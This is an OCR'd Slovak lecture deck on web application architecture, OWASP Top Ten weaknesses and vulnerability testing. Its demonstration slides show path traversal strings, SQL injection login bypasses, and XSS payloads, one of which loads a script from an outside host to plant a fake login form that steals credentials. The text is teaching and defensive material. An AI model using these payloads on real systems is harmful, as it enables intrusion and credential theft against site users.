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|. Architektura
webovych aplikacii




Architektura webovej aplikacie 1

Zakladna stavba ,,webovej aplikacie

* (webovy) klient - server

» Vsetka aplikacna a prezentacna logika na jedinom server
— hostitelovi

‘ Prezentacna logika
1] Aplikac¢na logika
i Databaza




Architektura webovej aplikacie 2

Struktura komplexnejSej aplikacie
» Tradicna trojvrstvova architektura
 Kklient
» aplikacny /prezentacny server
 databaza

‘ PrezentaCna logika
1] Aplikac¢na logika
i Databaza




Architektura webovej aplikacie 3

Struktura n-vrstvovej architektary

* Tradicna 3-vrstvova architektura sa rozpada
* Prezentacne servery (farmy, loadbalancing)
* Aplikacneé servery (loadbalancing)
» Databazove servery (clustering), DB konektory ...

browser 3
Aplikacny
‘ y Databazové konektory

Prezentacna logika
Aplikacna logika
Ej Databaza

uzivatel
6



Architektura webovej aplikacie 4

Architektura klient - server

» klient - bezny prehliadac (MSIE, Firefox...), platformovo nezavisly (mnohé
konverzie, preklady atd'.),

* Klient - zdielany mnohymi (navzajom si nedoverujucimi) aplikaciami,
nutnost ,separacie” kontextov zdielanych aplikacii
Uzivatel'ské rozhranie aplikacie

» realizované pomocou klienta prostriedkami WWW (HTML, CSS,
JavaScript,Applety,ActiveX...), nepotrebuje dalsi klientsky SW

* prevadzka klienta uplne mimo kontroly aplikacie

Komunikacia

» nedoveryhodné prostredie (rozlahlé paketove siete - Internet)
Klient — WiFi - ISP - Internet — ISP — WebServer

» preklady formatov a kodovania, problemy so spravnou (jednoznacnou)
interpretaciou

 Datovy zaznam - Databaza (SQL) — aplikacny server (XML) — prezentacny
server (HTTP/S) — klient (DOM) - uzivatel




Architektura webovej aplikacie 5

Princip cinnosti webovej aplikacie

s

Search.html
]

Result.html 4




Bezpecnostneé specifika 1

Dostupnost’
* Siroky okruh ,uzivatelov®, napr. anonymny pristup do celej aplikacie Ci
verejne pristupny vstupny bod (LoginForm)
Prepojenie internej a externej siete
 web. aplikacie spristupnuju (Ciastocne) interné systemy

* interné systémy nie su pripravené na rizikove prostredie (s nulovou
doverou k protistranam)

Unikatnost’
* rOznorodost - exotické platformy, heterogenne prostredie
» vyvoj nestandardnej aplikacie nevyhnutne produkuje ,nestandardne”
chyby - zlyhavaju metody automatickeho testovania zranitelnosti
 problem z hl'adiska standardizacie testovania
zranitenosti

» | standardné aplikacie a platformy pouzité pre konstrukciu aplikacii
mnohokrat obsahuju chyby !!!




Bezpecnostné specifika 2

Utoky na webové aplikacie
* obvykle vedené na aplikacnej vrstve (HTTP/S)
* mimo dosah sietovych obrannych mechanizmov(IDS/IPS)

* viac-mene| potencialne zranitelne su vsetky
vrstvy webovej aplikacie:
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Bezpecnostne specifika 3

Potencialne slabé miesta
¢ Klient

* slabiny prehliadaca, utoky s podsuvanim kodu
» Komunikacia
* odposluch na nechranenych kanaloch (HTTP)

* podpora slabého Sifrovania
* Utoky MITM (presmerovanie sifrovanej komunikacie)

» Webovy server
» slabiny v software a konfiguracii servera
* Aplikacia a aplikacne data
* utoky na autentizaciu, riadenie pristupu, validacia vstupov, chyby
aplikacnej logiky
* manipulacia s uskutocnovanim databazovych dotazov
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ll. Problematika
navrhu
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Problematika navrhu 1

* Problematicke miesta mozu byt v celej architekture,

vo vsetkych vrstvach, platformach, technologiach,
protokoloch...

» MOozu byt sposobene chybou kodu (standardne
platformy Ci aplikacie), pouzitim nevhodnych
prostriedkov, nespravnou konfiguraciou...

Dosledok:

» tradicny pristup testovania standardnych
zranitelnosti nefunguije...

ZraniteI’nosti nie su ,,standardné*
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Problematika navrhu 2

 abstrakcia navrhu/testovania do urovne mimo

platformy, systemovych a dalSich ,technickych®
problemov

» zavedenie pojmov a definicii popisujucich logicke (v
podstate procesné) chovanie aplikacie

o Z chyb typu ,vo formulari XY opravit chybové hlasenie pri
navratovej chybe MS SQL servera® je potrebné
abstrahovat na uroven ,nevhodné spracovanie chyb"...

Nutnost’ abstrakcie do urovne umoznujucej
standardizaciu
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Problematika navrhu 3

Abstrakcia do procesneho popisu slabin

) Unvalidated Input

) Broken Access Control

) Broken Autentication and Session Management
) Cross-site scripting

) Buffer Overflows

) Injection Flaws

) Improper Error Handling

) Insecure Storage

) Denial of Service

0

1
2
3
4
5
6
I
8
9
10) Insecure Configuration Management
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Problematika navrhu 4

Unvalidated Input 1
Nedostatocna kontrola vstupnych parametrov:

» prilisna dovera k obsahu vstupnych parametrov

v HTTP hlavickach poziadaviek (napr. URL adrese, parametrov
POST dotazov, hodnotach cookie) atd.

Typicke priklady:

»  Cross Site Scripting, Buffer Overflows, SQLinjection
Vhodna ochrana:

» testovanie vsetkych parametrov na povolené hodnoty

* Iné metody (zakazané hodnoty, uprava hodnot) ne su
bezpecné (mnoho vynimiek)
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Problematika navrhu 5

Unvalidated Input - prakticka ukazka:
Validacia dat na strane klienta

ap
po

Ikacla kontroluje data zadavané do prehliadaca

mocou JavaScriptu v atriblte onsubmit tagu <form>

utocnik vyplni formular a zada do prehliadaca adresu
javascriptvoid(document formsiOl.submit(l}

prehliadac data formulara odosle, bez toho, aby spustil
onsubmit a bola uskutoénena akakolvek kontrola dat (na
klientske| strane)

existuje mnoho dalsich ciest ako dosiahnut rovnaky
vysledok (proxy, debugger atd’)

validacia dat na strane klienta je uplne neucinna!
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Problematika navrhu 6

Broken Access Control
Chybna kontrola pristupu (autorizacie)

nespravne pride

ovanie pristupovych prav k jednotlivym

prostriedkom (fu

nkciam) webovej aplikacie uz

autentizovanym uzivatelom

zneuzitim chyby

v pristupe mozno ziskat vyssie privilegia

v ramci aplikacie (v extremnom pripade | administratorske,

root privilégia)

Typickeé priklady:

nevhodna ochra
autorizacia na ki

Side Caching, S

na pristupu k administrachemu rozhraniu,
ientovi, Obidenie kontrol pri login-e, Client
Uborove opravnenia
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Problematika navrhu 7

Broken Access Control - prakticka ukazka:
Path traversal

aplikacia pracuje s URL typu
https://banka.cz/display.asp2doc=dokument

z parametru d0C je vytvorené meno suboru, ktory bude
zobrazeny, napr. c:\tlocs\dokument.htmi

utoCnik posle ]
doc=.././../../inetpub/wwwroot/display.asn®%00
aplikacia zobrazi _
c:\docs\..\.\.\.\inetpub\wwwroot\dispiay.asp\0.htm
1(\0 je znak s kddom 0( Cize
c:\inetpub\wwwroot\display.asp,

teda svoj zdrojovy kod stranky

analogicky mozno cCitat aj iné subory

19




Problematika navrhu 8

Broken Autentication and Session
Managment

Chybna autentizacia a riadenie relacie

» vSeobecne akykolvek problem v autentizacii uzivatelov a v
sprave relacii (sessions) - sprava relacii je narocny problém
v kombinacii s bezstavovym HTTP/HTTPS

*  nespravny mechanizmus autentizacie (overenie identity) uzivatela
a riadenie aktivnych uzivatelskych relacii

* nevhodneé sposoby zmeny hesla, obsluha ,zabudnutych® hesiel,
ukladanie hesiel v prehliadacoch, exspiracia uctov a pod.
Typickeé priklady:
» problem kvality, pouzitia a bezpecneho ulozenia hesla,
implicitna dovera medzi aplikaciami — zakaz implicitne
dovery
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Problematika navrhu 9

Broken Autentication and Session
Managment - prakticka ukazka:

Timing side-channel
* proces prihlasovania nerozlisuje chybne uzivatelske meno

vs. spravne uzivatelské meno a chybne heslo

*  rozna odozva odpovedi (v prvom pripade 200 ms vs. 500 ms) -
staci zmerat rychlost odozvy aplikacie

Password bruteforcing |
+ uzivatelia — pridelené heslo (PIN) dizky 5 cifier (10°),
blokacia po 3 neuspesnych pokusoch, pocet pokusov
prihlasenia na rozne ucty z PC (IP) neobmedzované

»  predpoklad: PIN-y generované nahodne (uniformné
rozdelenie)

»  pre [ubovolny PIN je pravdepodobnost > 62% najdenia uzivatela
«  pre 2 pokusy (2 rézne hodnoty PIN-u) pravdepodobnost > 86 %
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Problematika navrhu 10

Cross-site Scripting (XSS)

» podsunutie vlastneho kodu (napr. JavaScript) do
dynamicky generovane] HTML stranky (pomocou
parametrov stranky, vstupov do formularov a pod.)

z hladiska servera ide o vlozenie neddveryhodnych dat do
generovanych vystupov

Typicke priklady:
» zmena obsahu, odposluch hesla, praca pod cudzou
identitou
» XSS - utok proti klientskej casti (uzivatel'ovi)
Vhodna ochrana:

» dosledne testovanie obsahu (hlaviCiek, cookies, poli,
skrytych poli) na povolené hodnoty - ,Co nie je povoleng, |e
zakazane”
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Problematika navrhu 11

XSS - prakticka ukazka 1: &

Uzivatel| root neexistuje.

™
HTML formular

s uzivatel'skym

\Vstupom %
—

Vygenerovane
HTML je zaslané

@:)éit’ do prehliada

ca
/

(uzivatel’ neexistuje), preto
vracia vygenerovany HTML

(login s odpoved’ou)
_

Uzivatel|<i>root</i>

neexistuje.<br>

Login: <input type-text name-user/><br/>
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Problematika navrhu 12

XSS - prakticka ukazka 2:

| Login

Uzivatel roof neexistuje.
Lnynﬂ
Heﬂnﬂ

File Edit Mew Help

Uzivatel <i>root</i-=

nesexistuje . <br>

Login: <input type=text name=user/><br/-

Heslo: <input type=password name=heslo)/ >

24
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Problematika navrhu 13

XSS - prakticka ukazka 3:

bt

=

¢ H-BORDC -2 6| o

http:/fexample.cz/login.asp?user==<h=root</b> v

| | Login 3]

s

File Edit Vew Help

Uzivatel <i><b- root< /=< /i=

nesxistuje . <br>

cinput type=tsxt name=user/><br/f>

Liogin:

vvvvvvvvvvvvvvvvvvvvv

Heslo: <input type=password name=heslo)/ >

25
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Problematika navrhu 14

XSS praktlcka uk zka 4:

<]3-E&>v§:.*@r -@-vi& < ﬁ

http:/fexample.cz/login.asp?user=<script=alerti666)</scripty |~

| | Login

File Edit Mew Help

Ozivatel

Cil=<gorl

nesxistujs . <br-

cinput type=text name=user/><br/>-

Login:

Heslo: <input type=password name=heslo)/>
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Problematika navrhu 15

XSS - prakticka ukazka 5:

File Edit Vew Help

Uzivatel <i-<script

sre="http://gw.wz.cz/k.js"'»</Beript></ix>
|

nesxistuje. <br>

(unknown) | none ()

.........................................................................................................................................................................................

Login: <input type=text name=user/><br/-

Heslo: <input type=password name=heslo/> ;

-
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Problematika navrhu 16

XSS praktlcka ukazka 6:

File Edit Vew Help

Uzivatel <i-<script

are="http: //gw.wz.ce/k. js'></seript></i>

nesxistuje . <br>

Skutocna hrozba: péVOdny |09|n\ ] Login: <input type=text name=user/><br/>
je presmerovany, falosSny login
formular je vytvoreny podla
originalu = nerozlisitelny.
Uzivatel nechtiac zada udaje

@e I /

Heslo: <input type=password name=heslo/>

28




Problematika navrhu 17

XSS - prakticka ukazka 7:
,obfuscated‘ XSS

» aplikacia doslova opisuje svoje vstupy do dokumentu, ale
brani sa vyskytu retazca script a rada podobnych textov
bezne vyuzivanych pre XSS (pokial nieco z toho vo vstupe
najde, hlasi chybu)

* UtocCnik najde miesto, kde aplikacia vklada vstup do atributu a
ako hodnotu, ktora ma byt viozena, predlozi svojej obeti text
“+style="width:\6aoxpression(\x64ocument.\x77ritel...J);

» filter nenajde na texte nic podozriveho, avsak prehliadac

obete (ak to je to MSIE) tam vidi prikaz document.writeL...).
ktory tiez vykona
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Problematika navrhu 18

Buffer Overflows

Pretecenie zasobnika

» nevhodna kontrola velkosti vstupnych dat + pokus o ich
ulozenie do nedostatocne velkeho zasobnika =» BO
(historicky najrozsirenejsi SW problem)

»  klasicky problem nizsich programovacich jazykov (mieneny najma
C), v samotnych webovych aplikaciach zriedka, ALE Casto v

podpornych SW komponentoch: HTTP servery, OS, Specializované
kniznice (a tiez prehliadacoch!)

Vhodna ochrana:

» pravidelna aktualizacia webovych a aplikacnych serverov a
dalsSich prvkov

data

\ 4
zasobnik
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Problematika navrhu 19

Buffer Overflows - prakticka ukazka:
Stack buffer overflow

v aplikacii je kod tohto tvaru auto char hufi100I;
streny(huf, vstup);

utocnik predlozi text (primerane) dihsi ako 100 znakov,
aplikacia sa pokusi text vlozit do pol'a BUf a zacne pri tom
modifikovat pamat za jeho koncom

but je ako lokalna premenna v zasobniku a nad nim sa
nachadza | navratova adresa, ktora bude prepisana udajom
Z0 vstupu

pri navrate z aktualne uskutocnovanej funkcie sa pouzije
Upravena navrat.adresa a zacne sa vykonavat kod utocnikom
urceny alebo dokonca prelozeny (ak ukazuje adresa na
nejake miesto, kde su ulozené dalSie data od utocnika)
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Problematika navrhu 20

Injection Flaws

Injektovanie kodu

» vlozenie vykonavaneho kodu do aplikacie/komponentu
pomocou vstupnych parametrov.

«  Najznamejsi je SQL injection - manipulacia s SQL poziadavkou:
zmena/odcudzenie dat z databazy, ovladnutie celeého DB systemu,
pripadne celého OS. Mimo SQL mozno manipulovat i ASP,PHP a
dalsie. Specialnym pripadom injekcie kodu je i XSS.

Vhodna ochrana:

*  minimalizacia vyuzitia externych interpreterov, ulozene
procedury/prikazy, prevadzka aplikacie s min. privileégiami

* mechanizmus riesenia chyb/vynimiek/timeoutov
» dokumentacia testov, navratovych kodov
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Problematika navrhu 21

Injection Flaws - prakticka ukazka:

Klientska strana — browser login.asp — na serveri
)

http://www.site.com/

Query = ,,SELECT * FROM users
WHERE login ="$user’ AND
password = '$password'"

login: If QueryResult(Query) = "" Then
password: Authenticated = 0
Else
login > Authenticated = 1
End If
SELECT * FROM users WHERE login ='$user ' AND password =
Login: '$password ' J T
Password:
SELECT * FROM users WHERE login ='admin’;#' AND password = 'anything'
Login:
Password:
P» SELECT * FROM users WHERE login ='admin’
SELECT * FROM users WHERE login ='admin' OR 1=1;# AND password = 'anything'
Login:
Password:
» SELECT * FROM users WHERE login ='admin’' OR 1=1
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Problematika navrhu 22

Improper Error Handling

Nezvladnutie chybovej operacie
» akakolvek forma problemu v spracovani chybovych stavov
Typickeé priklady:
» detailné chybove vypisy (typy, verzie komponentov atd.),
detailné info o aplikacii = zefektivnenie utoku
Vhodna ochrana:

* reakcie na akekolvek mozne chyby vopred definovanou
informaciou o chybe

*  Interna log. chyb (detekcia implementacnych slabin,
pokusov o prienik — opakovany neuspesny pokus =
poplasna udalost)

»  Pozn.: Dokumentacia politiky spracovania chyb je
neoddelitelnou sucastou navrhu aplikacie ©
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Problematika navrhu 23

Improper Error Handling — praktic. ukazka:
Prilis detailne chyboveé hlasenia

» aplikacia prijme poziadavku
hitps://banka.cz/hledani.asp2dotaz=ahc%27xyz

* a odpovie Microsoft OLE DB Provider for SOL Server error

'80040e14’
Line 1: Incorrect syntax near 'xyz'.

*  Utoénik hned vidi slabinu typu SQL injection
chyboveé hlasenia ako postranny kanal
* Utocnik dokaze vlozit kod, ale nedokaze priamo cCitat

odpovede

* Pouzije prenos cez chybove hlasenia:
+  ako sucast chybového hlasenia (vid 'K¥Z' vysSie),
» v parametroch hlaseni (druh chyby, miesto vyskytu chyby),
» v samotnom fakte, Ci chyba nastala alebo nie
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Problematika navrhu 24

Insecure Storage

Nedostatocna ochrana (citlivych) dat

*  aplikacie casto pracuju s heslami, kfucmi... Ich nevhodna
ochrana v pripade kompromitacie vyrazne zhorsuje
nasledky utoku

Typickeé priklady:

* nevhodné Sifry, chyby v implementacii, nezabezpecene
ukladania klucov/cert./hesiel, pseudonahodnée generatory,
snaha o ,vyvo|" proprietarr ych Sifrovacich algoritmov

Mozna ochrana:

»  Obmedzené, kontrolované vyuzitie kryptograf. prostriedkov

*  neprenasat problem ochrany hesla (,hashovanie” namiesto
ochrany kluca sifry), ,rozumné® hashovacie funkcie

» vzdy vyuzivat verejne dostupnu/preverenu/vyuzivanu
kryptograficku kniznicu (ziadna [udova tvorivost)

» hlavny kluc by mal byt uchovavany (pokial vobec) po Castiach
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Problematika navrhu 25

Insecure Storage — prakticka ukazka:
Sifrované parametre

» aplikacia chrani parametre generovanych URL pred
neopravnenou modifikaciou tym, ze ju Sifruje, napr. miesto
par=123 vidi uzivatel Encrypted=GKkpLRUpDMRKDF
TEtGSKVMRKIKTEVKRmxrc2nsZnNahGZranNs

* UtoCnik zisti, ze nejaka funkcia aplikacie akceptuje parameter
par v otvorenom tvare (napr. ako sucast dat zadavanych do

formulara) a odovzdava ho do nadvazujucej funkcie uz v
Sifrovanom tvare

» Utocnik pomocou zmienenej funkcie ziska zasifrovany tvar

nim pozadovanej hodnoty parametru a nahradi s nim
povodne sifrovany parameter v URL, na ktoru chce uskutocnit
utok

» aplikacia predpoklada, ze sifrovanie ochranilo parameter pred

modifikaciou, a akceptuje jeho hodnotu bez dalsej kontroly
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Problematika navrhu 26

Denial of Service (DOS)

Odopretie (znepristupnenie) sluzby
»  Vyradenie aplikacie z prevadzky za pouzitia ich vlastnych funkcii
» typicky zahltenie narocnymi operaciami

*  DoS - problém vdaka netrivialnemu rozpoznaniu legitimnej poziadavky od
zahlcovania serveru

*  Velké mnozstvo (HTTP) poziadaviek =» vyradenie komponentu =>»
ohrozenie dostupnosti celej aplikacie

»  Utoky nemusia byt zalozené na hrubej sile (slabée miesta v logike aplikacie
- napr. blokacie uctov opakovanim neuspesnych prihlaseni)

Mozna ochrana:
. obmedzit dostupné systémové prostriedky pre 1 uzivatela

’ kvota max. zatazenia poziadavky (napr. 1 poziadavka na uzivatela
v danom Case)

. neautentizovany uzivatel - obmedzit pristup k prostriedkom (napr.
zakazom vykonovo narocnych operacii)
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Problematika navrhu 27

Denial of Service — prakticka ukazka:

Zamykanie uctov
» aplikacia ma [ahko predikovatelneé mena uctov
» kazdy ucet je zablokovany po niekolko neuspesnych pokusoch o
prihlasenie
* Utocnik moze prejst velké mnozstvo uctov a umyselne ich
zablokovat

Bombardovanie SMS spravami
» aplikacia umoznuje autentizaciu uzivatela s pouzitim SMS
» uzivatelské ucty su casto identifikované predikovatelnym Cislom
(napr. telefon uzivatela), a taktiez mozno metodou pokus-omyl
najst mnoho platnych mien
* Utocnik prinuti aplikaciu, aby bombardovala mobily svojich
uzivatelov, Co nielen obtazuje uzivatela, ale tiez sposobuje
priame naklady prevadzkovatelovi aplikacie
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Problematika navrhu 28

Insecure Configuration Management

Nevhodna konfiguracia servera

»  konfiguracne parametre Casto v default nastaveniach
»  nadbytocné (k prevadzke nepotrebnej) sluzby
» demol/testovacie subory, scripty (ladiace funkcie, info o verziach)
*  nadbytocné chybove hlasenia
»  prevadzka pod zbytoCne vysokym opravneniami
» slabé hesla pre admin. pristup do aplikacie (,zabudnutée® aktivne
ucty z doby instalacie, vyvoja a testovania)
» Nezaplatovane bezpecnostne diery na serveri

»  Nespravne pouzitie SSL, certifikatov
*  verzie, doveryhodnost, exspiracia
Mozna ochrana:

»  pravidelné zaplatovanie, test zranitelnosti, definovany
jednotny konfiguracny standard
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Problematika navrhu 29

Insecure Config. Man. — prakticka ukazka:

Neziaduce spristupnenie administratorskej
funkcie

+ 7 Internetu je volne pristupny testovaci server téSt.nanka.cz

+ pod hitps://test.hanka.cz/soap pristupné rozhranie vratane
administratorskych funkcii, vyuzitelnych k instalacii vlastného
komponentu, majuci cez std.javovske triedy pristup k FS, sieti atd.

Podpora slabych sifier a SSLv2
» server akceptuje slabé (exportne) sifry a SSLv2

» klienti su obvykle tiez konfigurovani tak, aby ich podporovali

* Utocnik sa pokusi presvedcit klienta i server, aby pouzili protokol
SSLV2 (rollback attack) a slabu Sifru

* nasledne utocnik rozlusti 40-bitovy ,exportny” kluc a desifruje
komunikaciu, pripadne do nej aktivne vstupi
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lll. Testovanie
zranitelnosti
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Testovanie zranitelnosti 1

Rekapitulacia poznatkov
» webova aplikacia
* heterogeénny, distribuovany system
» komponenty nemaju vzajomnu doveru
» niektore casti nemozno kontrolovat vobec
» komunikacia cez rozlahle, nedoveryhodne prostredie
 problemove miesta (zranitelnosti) aplikacii
» vsetky vrstvy (siet, OS, sluzby, aplikacie, data)
» slabiny mozno kategorizovat (10 oblasti)
» oblasti sa prekryvaju, realne utoky kombinuju
zranitelnost
Mozno teda vobec vytvorit' bezpecnost?
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Testovanie zranitel’'nosti 2

1. Koncepcny navrh aplikacie
» 50 zretelom na zname zranitelnosti (oblasti)
» s predpokladom modifikacie bezpecnostnych funkcionalit

2. Bezpecnostne testovanie

* Invazivne testy pred nasadenim novych verzii

» zatazove testy

» pravidelne opakované prevadzkove testy zranitelnosti
3. Dosledna konfiguracia

» prevadzkova konfiguracia vsetkych komponentov

» jednotny konfiguracny standard

* priebezna udrzba prevadzkovych systemov (zaplaty,
aktualizacia)
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Testovanie zranitel’'nosti 3

1. Koncepcny navrh aplikacie

» Akceptovanie aktualnych poznatkov oboru

(zoznamenie s okruhom zranitelnosti, vid 10 oblasti)

 Prekvapivé mnozstvo i renomovanych vyvojarskych firiem
nema o zaisteni bezpecnosti aplikacii ani potuchy !!!

+ Standardizacia klucovych bezpeénostnych prvkov
» PKI, certifikaty, praca s heslami, Sifrovacie algoritmy atd.
* Vyvoj je dynamicky, je potrebné pripravit sa na
moznost zasahu do kodu

* Zmeny bezpecnostnych funkcii — hashovanie, Sifrovanie,
doplnenie kontrol...

» Zasady strukturovaného (objektoveho) navrhu plati i tu
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Testovanie zranitel’'nosti 4

2. Bezpecnostne testovanie
=Test chovania a odolnosti aplikacie
* pri vysokom zatazeni
* pri uzivatelskej chybe
* pri umyselne| neopravnenej manipulaci
Metody testovania
* Neinvazivne
» audit zdrojovych kodov, konfiguracii (,whitebox")
* [nvazivne
* penetracne testy (,blackbox” hacking)
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Testovanie zranitel’nosti 5

3. Dosledna konfiguracia

Konfiguracny standard

» Definicia poziadaviek na infrastrukturu
* prevadzkove parametre - nastavenie serverov, databaz,
filtracii
» Mozno specifikovat aj poziadavky na odolnost
aplikacii
* VOCI Specifikovanym typom utokov (vid ,10 oblasti®)

» testovacie ,minimum®, zmluvné zabezpecenie
(reklamacie)

* vid ukazka moznej Specifikacie vybranych utokov
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Testovanie zranitel’'nosti 6

Specifikacia utokov (konfiguraény Standard)

Typ utoku

Popis

SQL injection

nediisledné osetieni vstupt v nékterych piipadech
umoziuje utocnikovi modifikovat SQL dotazy spousténé
v databazi, coz muze vést k neopravnénému
ziskani/modifikaci dat nebo dokonce ke spusténi
vlastniho kodu na databazovém serveru

Cross site scripting (XSS)

WWW server trpici touto slabinou mitize byt zneuzit jako
prostfednik pii ttoku spocivajicim ve spusténi kodu
(obvykle Javascript) v prohlizeci uzivatele-obéti, ktery
povazuje zranitelny server za duvéryhodny

URL tampering

manipulace se strukturou URL a/nebo parametry
pfedavanymi v ramci URL miuze u zranitelné aplikace
vest k provedeni ,neoekavanych® akci

Hidden field manipulation

utok na casto citliva data predavana v ramci HTML
formulari v tzv. HIDDEN polich (nejsou viditelna pro
bézného uzivatele)

HTTP response splitting attack

specificky utok, pfi kterém je titocnik schopen
nezadoucim zptisobem rozd¢lit HTTP hlavicku a vytvorit
saleSnou® odpovéd pochazejici ze zranitelného serveru

Cross site tracing (XST)

moznost zneuziti metody TRACE k ziskani citlivych
informaci z http hlavi¢ek (session cookies, autentizacni
udaje)
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Testovanie zranitel’'nosti 7

Standardizacia v odbore

* Nie su oficialne standardy, ale:

» Metodika penetracného testovania (nie len

webove aplikace) - OSSTMM Open Source Security
Testing Methodology Manual, | ]

* Projekt OWASP, zaoberajuci sa vyvojom metodik
tvorby bezpecnych aplikacii - The Open Web

Application Security, [ ]
» Zaujimavost’: vyuziva mapovanie na strukturu opatreni
COBIT

Zmienovanych ,,10 oblasti“ pouzitych i v OWASP
,1opTen Most Critical Vulnerabilities*
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Testovanie zranitel'nosti 8

o Audit kodu
» priechod kodom je pomalé = drahé riesenie
» zial, nemozno preverit standardne platformy (a
ich chyby)
* |Invazivne testy
» simulacia realneho utoku

* prieskum chovania interagujucich komponentov
ako celku (efektivnejsie riesenie)

* mozno preverit nielen Uroven zabezpecenia ale |
reakcie obrannych mechanizmov
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Testovanie zranitel'nosti 9

Poznamky k testovaniu

* Penetracné testy webovych aplikacii su
specificke
* nemozno pouzit automaticke testovanie
* unikatne chyby — nie su v databazach zranitelnosti

e zavisi na skusenostiach testovacieho timu, nie na
pouzitych nastrojoch
» prakticky vsetky potrebne testovacie nastroje su
dostupne ako OpenSource
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zZaver

Webove aplikacie (IB nevynimajuc):

 komplex platforiem, standardneho a uzivatelskeho
kodu, prepojeny cez nedoveryhodne prostredie

* na konci retazca je uzivatel (Casto ,zly)
Unikatnost’ riesenia vyzaduje:

» koncepcny navrh a implementaciu so zapracovanim
bezpecnostnych poziadaviek (dodrzovanie
konfiguracnych standardov)

* priebezne invazivne, manualne testovanie
= Kl'uc k tvorbe bezpecnych webovych aplikacii
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Dakujem za
pozornost
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